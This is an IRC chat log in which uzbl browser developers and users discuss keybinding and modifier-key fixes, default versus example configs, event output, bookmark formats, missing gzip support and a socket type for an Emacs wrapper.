15:02 < rob|> mason-l: ah, ok. and what about the SET_KEYCMD issue?
15:02 < mason-l> Whats wrong with it?
15:02 < rob|> try this: @bind <Ctrl>p = event SET_KEYCMD \@(xclip -o)\@
15:03 < rob|> doesn't work for me
15:03 < Dieterbe> you guys ok with this? http://sprunge.us/HfMG
15:04 < rob|> Dieterbe: yeah, good idea
15:08 < rob|> mason-l: if you can solve the xlcip issue, it would be nice being able to SET_KEYCMD_CURRENT_POS so you could navigate the cursor somewehre in the existing keycmd and paste something there
15:08 < mason-l> I'll make that INJECT_KEYCMD
15:09 < Dieterbe> also rob| / mason-l fyi http://github.com/Dieterbe/uzbl-website/commit/5f18533e98989c89a92f75a62f70c05b2a84b672  iwant the website/readme to reflect the 3 "separate" projects
15:12 < rob|> Dieterbe: right, sounds good. especially calling it "uzbl web tools" makes sense
15:13 < rob|> how do we intend to manage the docs?
15:14 < rob|> README.core, README.browser, ...?
15:14 < Dieterbe> i would do 1 readme file and add sections/subsections for browser/tabbed where appropriate
15:15 < rob|> hmm
15:17 < Dieterbe> rob|: actually i was thinking of calling it 'web interfacing tools' or something, because a web tool could also be a webserver
15:18 < rob|> +visual/graphical ;)
15:18 < rob|> uzbl gwit - graphical web interfacing tools
15:19 < Dieterbe> :P people are gonna love those acronyms
15:19 < Dieterbe> but i disagree, there are many non-visual parts about uzbl
15:20 < lich> true, but tab borders are a must
15:20 < lich> :))
15:22 < rob|> Dieterbe: sure, but all of them work with/on the graphical webkit widget
15:23 < Dieterbe> hm yeah but still.. i wouldn't call it graphical. might be confusing
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15:26 < rob|> ok, don't care so much about this actually
15:27 < Dieterbe> :P
15:29 < yitz_> Anyone using uzbl on something besides Arch?
15:32 < keis> yitz_: yep
15:33 < yitz_> What distro?
15:34 < keis> gentoo and ubuntu
15:37 < rob|> oh, yet another vim style browser http://www.yllr.net/vimprobable/
15:38 < rob|> seems like uzbl kicked off quite a few similar project
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15:39 < Dieterbe> rob|: too bad they are all inferior ;)
15:39 < rob|> hehe
15:40 < Dieterbe> hey, the faq is quite similar to ours
15:40 < yitz_> lol
15:45 < Dieterbe> btw rob| i think vimpression already existed before uzbl
15:46 < rob|> oh, ok
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16:07 < Dieterbe> hf
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16:16 < JasonWoof> how do I turn off image animation and the auto-zoom thing (when I view an image that's bigger than the screen)
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16:48 < lithis> JasonWoof: I remember seeing the variable name for autozoom in the README.
16:48 < lithis> Or maybe it was somewhere else. I don’t see it now.
16:49 < lithis> Yes, there it is: autoshrink_images.
16:49 < JasonWoof> autoshrink_images
16:49 < JasonWoof> thank you!
16:49 < JasonWoof> thought it was called auto-zoom
16:51 < JasonWoof> unfortunately, I don't see how to disable animation
16:51 < lithis> I would like to do that too, but I haven’t looked into it.
16:52 < lithis> And disable Flash, but easily re-enable it on a per-case or per-page basis.
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16:54 < github> uzbl: Dieter Plaetinck experimental SHA1-f602734
16:54 < github> uzbl-core/browser/tabbed now separately installable
16:54 < github> http://bit.ly/24l2Dp
16:54 < github> uzbl: Dieter Plaetinck experimental SHA1-ea180a8
16:54 < github> make uzbl-browser work out of the box (auto create xdg dirs, config, ..), rely on $PATH instead of own hacks, put python scripts that we actually use in $PREFIX/bin
16:54 < github> http://bit.ly/2wvCWF
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17:10 < krsna> what does uzbl stand for?
17:10 < rob|> lithis: "set disable_plugins = 1", iirc we had a script for this that works on a per site basis on the wiki
17:12 < Dieterbe> krsna: ultimate zen browser for linux
17:12 < mason-l> rob|, I've pushed the fix can you have a look at it
17:13 < rob|> mason-l: sure
17:13 < lithis> rob|: Thanks! Now that I look at the README, I remember seeing that before, but I forgot about it.
17:13 < Dieterbe> rob| / mason-l : in uzbl-browser, we do : uzbl-core "$@" --connect-socket $DAEMON_SOCKET 1>/dev/null
17:14 < Dieterbe> why do we redirect stdout to /dev/null ??
17:14 < mason-l> Dieterbe, Surely I didn't add that?
17:14 < Dieterbe> i don't know who added it, and i don't care.  i only want to know if there is a specific reason
17:14 < mason-l> Not that I'm aware of.
17:15 < mason-l> I think people got sick of uzbl printing events to stdout AND to the socket.
17:15 < Dieterbe> uhu. will remove it then.  i'm trying to figure out the scheme.py issue
17:15 < mason-l> With no way to instruct it otherwise.
17:15 < Dieterbe> there's always uzbl-browser >/dev/null ;)
17:15 < rob|> mason-l: ok, multistage bindings seem to work now, though still issues with typing '@'
17:16 < mason-l> rob|, I don't have the same problem, can you pastebin some outputs?
17:16 < rob|> Dieterbe: i added it to suppress event messages to stdout
17:17 < Dieterbe> rob|: why supressing by default? if a user doesn't want them, surely he can do >/dev/null himself
17:18 < Dieterbe> or maybe, in uzbl-browser, we could spawn uzbl-core with | grep -v EVENT
17:19 < Dieterbe> because at least non-event output can be quite interesting
17:19 < rob|> well, i think we shouldn't print tons of not used stuff to stdout by default
17:19 < rob|> but, yeah the grep solution is quite ok
17:23 < rob|> mason-l: on '@' i'm getting "<ISO__Level3_Shift>@" which goes in front of what i'm typing
17:23 < rob|> mason-l: on my layout i need to type Alt+Gr-q to get a '@'
17:24 < mason-l> rob|, Interesting.
17:25 < mason-l> Maybe all <ISO_*>'s should be ignored?
17:25 < mason-l> And if needed add them to the 'simple-keysyms-dict'
17:25 < rob|> yeah, probably
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17:25 < mason-l> Which already handles <ISO_Shift_Tab>
17:30 < mason-l> Its just occurred to me to make an xmodmap-like function in the keycmd plugin.
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17:40 < Dieterbe> okay, re:scheme.py issue: i'm confused. turns out run_command is called with the 'location:like:this' (ie without calling find_existing_file). i think it has something to do with the fact that it's on "old school handler" which uses run_handler()
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17:41 < JasonWoof> I've hacked follow_Numbers.js so it uses a character set you specify at the top of that file (instead of always "0123456789")
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17:42 < JasonWoof> single quote dosen't seem to work, but I'm testing with var charset = 'abcdefghijklmnopqrstuvwxyz-/;234789'; and it seems to work quite well
17:42 < Dieterbe> krsna: btw the real meaning of uzbl is actually 'usable'
17:42 < rob|> mason-l: are you aware of the command history plugin on the wiki? just noticed about its existance
17:43 < mason-l> rob|, I haven't played with it. keis wrote it didn't he?
17:43 < rob|> not sure
17:43 < Dieterbe> hmm the download handler which also does run_handler does still work...
17:48 < Dieterbe> rob| / mason-l : found it i think. spawn() does find_existing_file, but spawn_sync doesn't
17:48 < mason-l> Dieterbe, Awesome news.
17:49 < Dieterbe> yeay, patching it now..
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17:56 < github> uzbl: Dieter Plaetinck experimental SHA1-4cf6268
17:56 < github> do not hide interesting output by default
17:56 < github> http://bit.ly/3XNk8X
17:56 < github> uzbl: Dieter Plaetinck experimental SHA1-c612ab3
17:56 < github> also perform $PATH-like expansion on spawn_sync (sync_spawn)
17:56 < github> http://bit.ly/18kx1u
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18:00 < Dieterbe> anyone knows what this is about?
18:00 < Dieterbe> (uzbl-core:29451): Gtk-WARNING **: Ran out of links
18:00 < rob|> nope, also noticed it
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18:01 < Dieterbe> the new keycmd is cool btw :)
18:01 < mason-l> Almost done fixing it further.
18:01 < Dieterbe> btw the above warning happens any time i press a key / update keycmd
18:02 < rob|> mason-l: great!
18:02 < Dieterbe> hey, no cursor when a form input field is active?
18:03 < rob|> Dieterbe: google doesn't give anything useful for that out of links thing
18:03 < Dieterbe> indeed
18:05 < lithis> JasonWoof: Cool. I was thinking of doing that, but I’ve been too busy.
18:05 < rob|> Dieterbe: not sure about the cursor, i had it working and suddenly it disappeared
18:07 < Dieterbe> :P
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18:12 < mason-l> rob|, And with this new modmapping you can map single characters to mod keys and mod keys to single characters.
18:13 < rob|> sounds interesting
18:14 < mason-l> I.e. Your problems solved with a "request MODMAP ISO__Level3_Shift @"
18:14 < mason-l> I mean NEW_MODMAP
18:14 < rob|> hmm, so whenn hitting just that modifier it would diplay a @?
18:14 < mason-l> Yeah
18:14 < mason-l> Oh wait
18:14 < mason-l> No it wont.
18:15 < mason-l> I've mixed it up
18:16 < mason-l> If you want ISO__Level3_Shift to work then "request NEW_MODMAP ISO__Level3_Shift MyFakeModKey" otherwise all <ISO_*> mods are ignored.
18:16 < mason-l> @ will still show up fine.
18:16 < mason-l> But you will not have a problem with the ISO keys anymore.
18:17 < Dieterbe> hmm the insert_bookmark.sh is commented in sample config. anyone a problem with it if i uncomment it?
18:18 < rob|> mason-l: i see, so i will be able to use that modifier to generate whatever keys my layout supports?
18:18 < mason-l> I commented it to show off the multi-stage bookmark binding but I never fixed the bookmark loading to use the bookmark file format
18:19 < rob|> we also have a issue with 'uzbl-core url' <- this segfaults
18:19 < Dieterbe> mason-l: naughty naughty
18:19 < mason-l> Dieterbe, :)
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18:19 < rob|> must have been bct's patches that i pulled in (probably)
18:21 < Dieterbe> works fine for me, rob
18:21 < Dieterbe> both uzbl-core/browser
18:21 < mason-l> Dieterbe, One of my favorite prog/alt rock songs of all time is 'Day of the Baphomets' by The Mars Volta, ever heard it?
18:22 < Dieterbe> you didn't update your libwebkit, did you? ;) rob| 
18:22 < Dieterbe> nope mason-l 
18:22 < Dieterbe> i'll put it on
18:22 < rob|> Dieterbe:  sorry, my bad. i have some uncommited changes that are causing it
18:23 < rob|> bct: sorry, blamed the wrong one ;)
18:23 < rob|> .oO(again..)
18:23 < mason-l> Dieterbe, Have/do you listen to TMV?
18:23 < Dieterbe> mason-l: what's that?
18:23 < bct> heh, i forgive you :P
18:23 < mason-l> Dieterbe, The Mars Volta :)
18:24 < Dieterbe> mason-l: yeah, i listened to a few songs a while back. hmm wait. must be about 7 years ago
18:24 < mason-l> Nice, you know what to expect :)
18:25 < Dieterbe> well i mostly remember them as "really weird", that's why i stopped listening to them
18:25 < mason-l> :D
18:25 < Dieterbe> but this song is okay
18:26 < Dieterbe> anyway mason-l , i like your fancy built-in bookmark creator, but i would scratch the date/title stuff. just url and tags are enough i think. and that makes it compatible with the older format
18:27 < mason-l> Yeah, if anybody wants more they can use a better bookmark creator.
18:27 < Dieterbe> *or* i update the old script to also include the title.  but not date. date is quite useless imho. either way you cannot separate title from tags without some sort of delimiter
18:28 < Dieterbe> oh now i see it. tabs vs spaces
18:28 < Dieterbe> hmm
18:28 < mason-l> Yeah :)
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18:28 < mason-l> I would have used \t but the lexi doesn't support it obviously.
18:28 < mason-l> (^ Feature request)
18:29 < Dieterbe> also i don't get why you use a keyword + tags there
18:29 < Dieterbe> seems like another unneeded overcomplication
18:30 < krsna> Dieterbe usable and Ultimate Zen Browser for Linux , nice :)
18:30 < mason-l> Dieterbe, I added them because someone might like to perform some kind of analysis or compilation of their bookmarks into html and tags, date, title, url would be desired for that kind of application.
18:31 < Dieterbe> mason-l: yes but tags AND keyword?
18:31 < mason-l> :)
18:32 < mason-l> More than anything I was just showing what is possible.
18:33 < rob|> so maybe it's about time to have an example config and a default config?
18:34 < mason-l> Agreed, where the default holds the bare minimum to survive.
18:34 < mason-l> (Bare minimum with a status_format)
18:35 < Dieterbe> uzbl-core > example config, uzbl-browser > default config.  for now when running uzbl-browser it copies uzbl-core's example config into the users home.
18:35 < JasonWoof> lithis: cool, I was hoping someone else would use it
18:36 < JasonWoof> trying to decide if I'm going to stick with the large charset, or go with just keys easily reachable with just my right hand
18:36 < Dieterbe> i think uzbl-browsers default config may be quite elaborate and i don't see what's wrong with it being the same as the sample config
18:36 < JasonWoof> (I like being able to browse while holding toast)
18:36 < mason-l> JasonWoof, I'm a left hand kind of guy :(
18:37 < rob|> Dieterbe: sure, though i wouldn't add stuff that's just for demo purposes to any default config
18:37 < JasonWoof> mason-l: well, that's where I've got the toast. first things first! ;)
18:38 < rob|> Dieterbe: we already have stuff in there that's just for demo and shouldn't be used in that form. especially all that shell/fifo indirection when you could simply use the command by itself
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18:38 < rob|> and that style has been adopted by many people and used like that, which is pretty stupid
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18:38 < Dieterbe> rob|: maybe.. but then again the pragmatic guy in me wonders "how bad is it really, doing that?", does it justify maintaining 2 configs? (or some logic to have 1 config but being able to strip non-relevant stuff out of it with markers or something)
18:39 < rob|> yes, i do certainly think that it's worth it having a _sane_ and well working default config
18:41 < rob|> i mean having to edit the config just to clean it up seems odd comapared to having to edit it only when you miss something
18:41 < Dieterbe> well, i think we can remove the "weird" examples where we use the indirection stuff, we still have some places where they do make sense. so we wouldn't "forget to demonstrate a feature"
18:42 < Dieterbe> or to put it differently: i think we can make up reasonable default config settings that allow us to demonstrate all the cool things, so we can keep example config == default config
18:42 < rob|> ok, so you suggest turning the example config into a default config? that's ok with me
18:43 < rob|> we can still keep demo stuff in there, but only commented and tagged as that
18:44 < Dieterbe> yeah something like that
18:46 < Dieterbe> but i'm not too worried about that right now
18:47 < Dieterbe> it's just some cleanup work that needs to be done
18:48 < rob|> sure but it will enhance sanity
18:49 < rob|> see, one nice thing about dwm is that you can perfectly use it out of the box. i'd like uzbl to also be like that
18:49 < rob|> uzbl-browser, that is
18:51 < Dieterbe> you can perfectly use uzbl-browser ootb. the config is a little messy that's all ;)
18:51 < Dieterbe> you mean "i want a clean config ootb"
18:52 < rob|> a clean config that provides a browsing experience that fits with common use
18:53 < Dieterbe> yep. you know our opinions are the same here
18:53 < rob|> ok. brb, food
18:54 < Dieterbe> i just think it would suck to have to maintain 2 configs.
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19:02 < Dieterbe> i love how much cleaner my xdg dirs are now thanks to the path-like stuff in uzbl-browser
19:03 < Dieterbe> mason-l: how is uzbl-tabbed going btw?
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19:03 < mason-l> Dieterbe, Haven't managed to get to it.
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19:03 < Dieterbe> no problem mate
19:04 < Dieterbe> just trying to have some sort of planning in my head
19:04 < Dieterbe> if i understand correctly, we/you needs to fix uzbl_tabbed and i need to update all docs/website and then we're good to go for a new release
19:06 < JasonWoof> http://fpaste.org/4VIy/
19:06 < JasonWoof> there's my follow_Numbers.js that uses whatever charset you want (instead of just digits)
19:07 < JasonWoof> lithis: check it out :)
19:07 < mason-l> rob|, Can you pull my latest commit and let me know if it now works for you?
19:08 < mason-l> Oh and Dieterbe http://github.com/mason-larobina/uzbl/commit/c8d04d6e03e30c683a8c1d8c15b67d28ee075aac :)
19:11 < mason-l> rob|, Now to try that xclip stuff.
19:11 < bct> cmd_scheme_handler prepends a sync_ to behave.scheme_handler, wouldn't it be better to just change the config?
19:12 < bct> same for cmd_cookie_handler.
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19:16 < JasonWoof> oh, I also found it annoying that when you type !reload with the example config, it takes you to your home page. So I thought I'd suggest this bind instead: bind    !reload   = sh 'grep -v "set uri =" $1 > $4'
19:16 < JasonWoof> maybe that regex should start with ^
19:18 < mason-l> JasonWoof, I'm also annoyed by that.
19:19 < JasonWoof> I'm not alone!
19:21 < mason-l> http://www.youtube.com/watch?v=XGK84Poeynk
19:25 < mason-l> http://www.youtube.com/watch?v=zSgiXGELjbc I love these two videos.
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19:33 < Dieterbe> JasonWoof: someone else already wrote something like that a while back btw
19:33 < Dieterbe> not sure if it's on the wiki
19:33 < JasonWoof> Dieterbe: there's something like that in the examples folder, but it's labelled as not working
19:35 < Dieterbe> if i understand correctly, we/you needs to fix uzbl_tabbed and i need to update all docs/website and then we're good to go for a new release <-- right? mason-l ? rob| ?
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19:38 < lithis> JasonWoof: Nice script.
19:38 < JasonWoof> lithis: thanks
19:40 < rob|> mason-l: just checked, @ still doesn't work for me :(
19:40 < mason-l> rob|, Pastebin some output trying to press @
19:40 < rob|> just a sec
19:45 < rob|> doesn't the EM print it's debug log to stdout anymore?
19:45 < rob|> *its
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19:49 < rob|> mason-l: ^^?
19:49 < mason-l> rob|, You need to use the test-dev-browser to get the intergrated uzbl-core out and EM out.
19:50 < rob|> ah, ok
19:50 < mason-l> And Dieterbe un-commented the line that piped the uzbl-core stdout to /dev/null in a recent patch.
19:50 < mason-l> I have a feeling you will need that for the xclip problem.
19:50 < mason-l> uzbl-core locked up when executing that command.
19:54 < rob|> mason-l: http://pastebin.ca/1642898
19:55 < mason-l> Ahhh!
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19:55 < mason-l> Whoops!
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19:57 < mason-l> Go for it rob|
19:57 < Dieterbe> hmm when i type ':set status_background = #FFF' this works, but when i then open another page, the statusbar gets its old color back?
19:58 < mason-l> Dieterbe, Check the per-mode status_background
19:58 < mason-l> One more reason for a default/example config.
20:00 < rob|> mason-l: also omploader.org/vMm1jcw
20:01 < Dieterbe> no mason-l i also have this when the mode doesn't change
20:01 < mason-l> rob|, Did you pull my fix?
20:03 < rob|> mason-l: awesome! works now, thanks
20:03 < mason-l> :)
20:04 < mason-l> Dieterbe, Does it also go away when you press Escape?
20:05 < mason-l> Dieterbe, Check out line 251 of the example config: @command  status_background   = #202020
20:05 < Dieterbe> yea
20:05 < mason-l> Thats what is causing it.
20:06 < Dieterbe> holy moly
20:06 < mason-l> Didn't see that section?
20:07 < Dieterbe> sort of ;)
20:08 < Dieterbe> well it doesn't fix it
20:08 < Dieterbe> i uncommented it, restarted, same problem
20:08 < mason-l> Dieterbe, So to: ":set status_background = #FFF" go: ":@command status_background = #FFF"
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20:10 < rob|> mason-l: sry, though one more issue now. modifiers are sticky now. i.e. pressing Alt will display <Alt> and not delete it on release
20:10 < rob|> same for Up, Down but not for Left,Right?!
20:11 < modnaru> Left, right are swallowed for keycmd editing?
20:11 < mason-l> rob|, Thats the problem I've been trying to communicate to you. They aren't actually stuck down but the status_format displays a ghost of its last setting.
20:11 < rob|> aah, so that's a update_gui issue?
20:11 < mason-l> Try moving the mouse over the window when one of those commands are ghosting.
20:11 < mason-l> rob|, I think so.,
20:11 < rob|> i see
20:11 < mason-l> rob|, We had this problem mildly on the old keycmd system.
20:12 < mason-l> But its never been so noticeable after un-hardbinding everything.
20:12 < rob|> right, will look into this.
20:12 < mason-l> Thanks mate.
20:13 < rob|> i guess it's a buffering problem
20:13 < mason-l> I've been trying to fix the problem by calling an update_gui after every modcmd or keycmd set but that doesn't seem to do anything.
20:14 < rob|> sometimes the load indicator doesn't update until some other event (gtk event) is triggered, so pretty odd
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20:20 < Dieterbe> whoa this multistage thing is cool
20:21 < rob|> hrrm, strange. i guess the temporary solution is to call update_title() on every var setting as much as i despise it i can't find the issue now..
20:21 < mason-l> rob|, But does that solve the problem?
20:21 < rob|> yes
20:21 < mason-l> Nice :)
20:22 < mason-l> I honestly don't think theres any way around not calling update_title on every var set because you have no way of knowing if a certain variable is used in the status_format or not without computing it.
20:22 < rob|> well, let's just do it. if we ever run into performance issues with this we can still search for a better solution
20:23 < mason-l> And once you've computed it you're already there.
20:23 < mason-l> Ok.
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20:25 < rob|> mason-l: can you add it? i have some uncomitted code in several files and don't want to shift everything around just for this one line change
20:25 < mason-l> Ok, I'll try.
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20:25 < rob__> mason-l: can you add it? i have some uncomitted code in several files and don't want to shift everything around just for this one line change
20:26 < mason-l> rob__, Ok, but git stash is your friend :)
20:27 < rob__> oh well,l didn't know about that
20:27 < rob__> anyways just add please
20:27 < rob__> +it
20:27 < mason-l> Should I add it in set_var or set_var_value?
20:27 < rob__> the latter
20:27 < rob__> just before the closing }
20:28 < rob__> sorry, before the return statement of course
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20:28 < mason-l> rob__, I've got it :)
20:28 < rob__> update_title();
20:28 < rob__> ok
20:29 < rob__> will remove the update_gui command later then if you don't feek like doing that, too
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20:30 < github> uzbl: Dieter Plaetinck experimental SHA1-e3cb0cc
20:30 < github> re-enable bookmarks script, make builtin-bookmarking compatible + allow reloading config without reloading home page
20:30 < github> http://bit.ly/4q8gyP
20:30 < Dieterbe> rob__: git stash
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20:30 < mason-l> I'll remove all the update_gui's on the EM side but I'll leave the c side to you (I might not get it all).
20:30 < rob__> ok
20:30 < Dieterbe> ah crap, mason-l already said git stash :P
20:30 < rob__> yeah, learned something new about git again
20:30 < rob__> didn't know about stash
20:31 < mason-l> Dieterbe, Whats: "sed '/^# === Post-load misc commands/,$d' $1 > $4" ?
20:31 < Dieterbe> delete everything from there to the end of the file
20:31 < mason-l> Ohhh
20:31 < rob__> always had several versions of the source files around like callbacks.c.SOMEFEATURE
20:32 < mason-l> Dieterbe, Nice thinking.
20:32 < Dieterbe> ;) there are quick fixes and there are decent fixes ;)
20:32 < mason-l> rob__, I used to do that too.
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20:33 < Dieterbe> heh, you remind me of the very first uzbl contributor.  
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20:34 < rob__> heh, tell us more
20:34 < Dieterbe> i don't know. he must have been double my age. tens of years in the IT field. always talking about how they did version control by using different zipfiles
20:34 < Dieterbe> years experience in the it field*
20:35 < Dieterbe> getting git explained to him was a pain ;P
20:35 < Dieterbe> to bad i haven't heard from him in months :/
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20:36 < rob__> well, i wouldn't call myself a programming/computer illiterate, though also had and still have my problems with git
20:37 < Dieterbe> who doesnt
20:37 < Dieterbe> maybe linus himself. but other then that..
20:39 < rob__> well guys, another productive couple of hours :)
20:43 < mason-l> Very productive.
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20:44 < mason-l> I've just pushed those commits removing the update_gui stuff (on the EM side) and the update_title in the set_var_value function.
20:47 < mason-l> rob__, Ghosting is completely gone! Great success!
20:57 < bct> yaaaay, i've got a hackish fix for POST downloads!
20:59 < Dieterbe> rob__: do you have a good website to compare prices for german online computerstores?
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21:03 < rob__> Dieterbe: http://www.guenstiger.de/gt/main.asp
21:03 < Dieterbe> thanks, until now i used geizhals.at
21:04 < rob__> mason-l: that's cool :)
21:04 < bct> rob__: code & tests for expanding handler arguments in bct/master
21:04 < rob__> bct: nice, did you manage to fix the scroll test code?
21:04 < bct> yup.
21:04 < rob__> ok great
21:05 < JasonWoof> uzbl is awelome! Hard to stop fiddling with it. Just set this as my default browser: wmctrl -s 0; uzbl
21:05 < rob__> will pull in later, just on a cig. break here
21:05 < bct> next (if nobody objects) i'm going to kill cmd_{scheme,cookies}_handler and add a "sync_" in the example config.
21:06 < rob__> bct: yeah, go for it
21:06 < Dieterbe> rob__: you smoke? i thought you were mister healthy, will all that sport stuff and.. stuff
21:06 < rob__> Dieterbe: mister healthy? no, not me ;)
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21:07 < Dieterbe> heh this is weird.  i was wondering why my sound is so weird these last few minutes
21:07 < Dieterbe> turns out vlc is playing the song twice at the same time , with a small delay between
21:08 < Dieterbe> and when i send 'pause' to the socket, it pauses both, and then it unpauses both :/
21:10 < rob__> brb
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21:13 < bct> ok, done. grocery time.
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22:47 < github> uzbl: Dieter Plaetinck experimental SHA1-e8c8bf4
22:47 < github> todo updates
22:47 < github> http://bit.ly/1Nc9pu
22:47 < github> uzbl: Dieter Plaetinck experimental SHA1-537a7f1
22:47 < github> update readme, faq and installation instructions for the new stuff
22:47 < github> http://bit.ly/2qhbn5
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22:47 < Dieterbe> goodnight all
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23:31 < rob__> bct: pulled in your patches, and the tests work beatyfully
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23:58 < axionix> http://snk.tuxfamily.org/lib/rumai/ why is this site garbled text when its supposed to be graphical like googles cache: http://74.125.93.132/search?q=cache:m4uWcMN9y20J:snk.tuxfamily.org/lib/rumai/+rumai&cd=1&hl=en&ct=clnk&gl=us&ie=UTF-8
23:59 < axionix> ?
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00:00 < keis> my guess is that they send a bogus content-type
00:00 < axionix> damn always the sites i want to read dont work :)
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00:03 < Fatal> has Content-Encoding: gzip here
00:03 < axionix> oh does uzbl support gzip decoding?
00:03 < Fatal> no idea
00:04 < Fatal> been a while since I played with uzbl, my old old old old old one doesn't seem to though
00:04 < axionix> could explain why lots of sites i visit are like this
00:16 < bct> no, it does not support gzip.
00:16 < bct> (because libsoup doesn't support it)
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00:32 < axionix> everyhting makes sense
00:32 < axionix> thanks
00:32 < axionix> i use midori as a secondary browser anyway
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01:19 < JasonWoof> uzbl sends an accept-encoding http header, and does not claim support for gzip
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01:20 < JasonWoof> sites are broken if they're responding to uzbl with gzipped content
01:20 < JasonWoof> sites are broken... what's new
01:21 < JasonWoof> maybe if you ran uzbl behind a proxy it'd work out
01:23 < JasonWoof> wait... I pulled that URL (http://snk.tuxfamily.org/lib/rumai/) with wget, and I'm getting a gzipped file
01:24 < Fatal> yes, site is broken, you said that already :)
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03:09 < comhack> I am running uzbl-git with xmonad on archlinux and I am trying to get cookie_daemon to launch at startup. I have it in .xinitrc with sleep 20 && ~/.local/share/scripts/cookie_daemon.py. For some reason it does not start unless I manually issue the command. Any ideals?
03:09 < comhack> I also tried it without the sleep command
03:10 < comhack> what other place should I place the cookie_daemon.py command?\
03:10 < comhack> Once I start it, it runs beautifully
03:11 < comhack> nm
03:11 < comhack> duh
03:12 < comhack> why didnt I try putting it where the other scripts are in .config/uzbl/config      between setting up xmonad and uzbl I got confused as where to autostart the script
03:12 < comhack> sorry
03:14 < comhack> actually it was already there I used the info from http://www.uzbl.org/wiki/cookie_daemon.py
03:14 < comhack> still no go
03:14 < comhack> unless manually
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03:19 < comhack> ok let me restate my problem
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03:20 < comhack> I am running uzbl-git on xmonad and I having a problem with the cookie_daemon. I tried to make create a automatic cookie daemon launcher as stated in the wiki but it will not start. Only manually
03:21 < comhack> Any ideals?
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03:29 < comhack> I think I got it     Ok I ran it in a terminal and I noticed "talk_to_socket: connect failed    connection refused
03:30 < comhack> well the problem anyway
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05:03 < Masca> why do uzbl-browser |grep EVENT from uzbl-core output?
05:06 < modnaru> Probably because it's quieter. But grep buffers, so you can't see the output immediately...
05:09 < mason-l> If the output is going to be there then it needs to be in order.
05:10 < mason-l> Events that is but if I recall correctly its: uzbl-core
05:10 < mason-l> uzbl-core | grep -v EVENT ...
05:10 < bct> do events need to be echoed to stdout at all?
05:11 < mason-l> bct, Only if something goes wrong.
05:11 < bct> there's a "TODO: some means to select if you want stdout" comment in events.c
05:12 < mason-l> That would be nice.
05:12 < bct> any idea what a good means would be? i'm thinking a commandline option
05:13 < mason-l> Command line option would be preferable.
05:16 < mason-l> brb work.
05:20 < Masca> Welll, just found a bug in event_manager.py it looks for plugins at XDG_... or /usr/local/ I guess it must be able to find plugins in /usr/
05:20 < Masca> I guess that "bug is spread everywhere right now. uzbl-tabbed do the same and I guess uzbl-browser too.
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05:21 < yitz_> I was discussing that Friday :P
05:21 < Masca> yeah, hardcoded paths is a bad idea.
05:22 < yitz_> It's funny because the preceding 9 lines actually attempts to discover the XDG path
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05:24 < Masca> hehe yep.
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05:26 < Masca> well. I "fixed" it in the hacky way editing the /usr/bin files. I guess it doesn't worth to fork and get a patch for that.
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07:30 < Saizan> anyone knows if this could be tweaked to work on uzbl or is too tied to safari? http://burgersoftware.com/en/safariadblock
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07:49 < MichaelRaskin> Saizan,  "You need to run Safari in 32-bit mode" subtly hints at possible compatibility troubles
07:53 < dhax> I am writing a Uzbl wrapper for Emacs, Ezbl, and have hit a roadblock with cookie handling. Emacs doesn't handle SOCK_SEQPACKET sockets, so it can't communicate with talk_to_socket. What would it take to port talk_to_socket to SOCK_STREAM?
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07:58 < dhax> Additionally, other tools, like netcat and socat don't seem to support SOCK_SEQPACKET either, so switching to SOCK_STREAM might increase compatibility with other packages as well.
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09:10 < Dieterbe> good morning ladiefriends
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09:12 < Dieterbe> +boyfriends
09:13 < dhax> Dieterbe: What do you think of switching talk_to_socket from SOCK_SEQPACKET to SOCK_STREAM for increased compatibility?
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09:16 < Dieterbe> i don't know much about that stuff. rob__ and mason-l are into that stuff, and iirc they have been discussing such things already
09:18 < dhax> Dieterbe: do you have any links to their discussion or work? I'd be interested in helping out as much as I can.
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09:19 < Dieterbe> well they discussed it here on irc. i should update the irc logs on the website, but i don't have the password here for the ftp access to uzbl.org
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09:21 < dhax> Dieterbe: I see. Fair enough. Do you know if they had any code in progress?
09:22 < Dieterbe> no just the code in experimental/master branches in git
09:23 < Dieterbe> i don't think they planned to change anything. they discussed something and concluded it's best the way it is now for some reason, IIRC
09:23 < Dieterbe> probably some problems/incompatibilities with SOCK_STREAM
09:24 < dhax> Dieterbe: Well, it looks like SEQPACKET is more convenient for discreet, relatively fixed-size messages, since it seems (I'm not a socket pro) to handle dealing with message boundaries automatically.
09:27 < Dieterbe> well one or both of the guys i mentioned will be online soon ;) so talk to them
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09:33 < Dieterbe> Masca: / yitz_ good find: mason-l :     'plugin_dirs': [os.path.join(DATA_DIR, 'plugins/'), '/usr/local/share/uzbl/examples/data/uzbl/plugins/'],
09:33 < Dieterbe> can we introduce a path-like expansion thing in the EM as well? or alternatively, define PREFIX in event_manager.py and have make install update it (like we do for uzbl-browser)
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09:35 < rob__> morning.
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09:40 < rob__> dhax: do you work with the master or experimental branch?
09:41 < rob__> dhax: if the former is the case i'd suggest to switch to experimental, it still uses SEQPACKET for cookies, but will allow to recieve events (such as KEY_PRESS/RELEASE and much more) on a stream socket
09:41 < lich> released yet?
09:42 < rob__> dhax: that way you could probably integrate key bindings with the emacs ones
09:43 < dhax`> rob__: keybindings on STREAM sockets would be great!
09:43 < Dieterbe> dhax: oh, are you the uzbl guy?
09:43 < Dieterbe> i mean ezbl
09:43 < dhax`> rob__: I have been using the most recent version in the ubuntu PPA until now, but decided to start using the Git version (master, right now) to investigate the stream/seqpacket issue
09:44 < dhax`> Dieterbe: yup, I'm the ezbl guy :)
09:44 < rob__> dhax: right, cookies are low priority right now (until we figure a good way to handle sync responses to uzbl events)
09:45 < dhax`> I'm currently working on getting cookies to work, and I think sockets are a better way to go. Emacs doesn't really play nice with spawned subprocesses that well
09:45 < dhax`> I was using emacsclient to invoke the cookie handler, but returning stuff back from it was a little buggy, and seemed to mess Emacs up. A socket would be much better for it, but Emacs doesn't speak SEQPACKET (to my surprise)
09:48 < dhax`> rob__: I'm not at the point where I am really worrying about keybindings yet; I want to get cookies working first and then tackle keybindings.
09:49 < rob__> dhax: i see, though the cookie daemon will need to be started once and you don't even need to spwan it from within uzbl/emacs
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09:51 < dhax`> rob__: I could certainly use the existing cookie_daemon.py, but I figured it would be nice to have Emacs do the cookie management, so that users would have a bit more control over it (plus it would be fun :)
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09:54 < rob__> dhax: well it will certainly take a while until we get better cookie integration, meanwhile you could just play with the other events which are way more useful for integrators
09:55 < dhax> rob__: Good point. You say the event handling stuff is ready in the experimental branch? I'll start fooling around with that.
09:55 < rob__> dhax: no more "set foo_bar_handler = xyz" but you'll rather get an "EVENT_FOOBAR details" over the socket that you can inspect and react in some way to it
09:56 < rob__> dhax: yes, it's ready and the (python) event manager already makes awesome use of it. see the README, section '### EVENTS ###' for more details
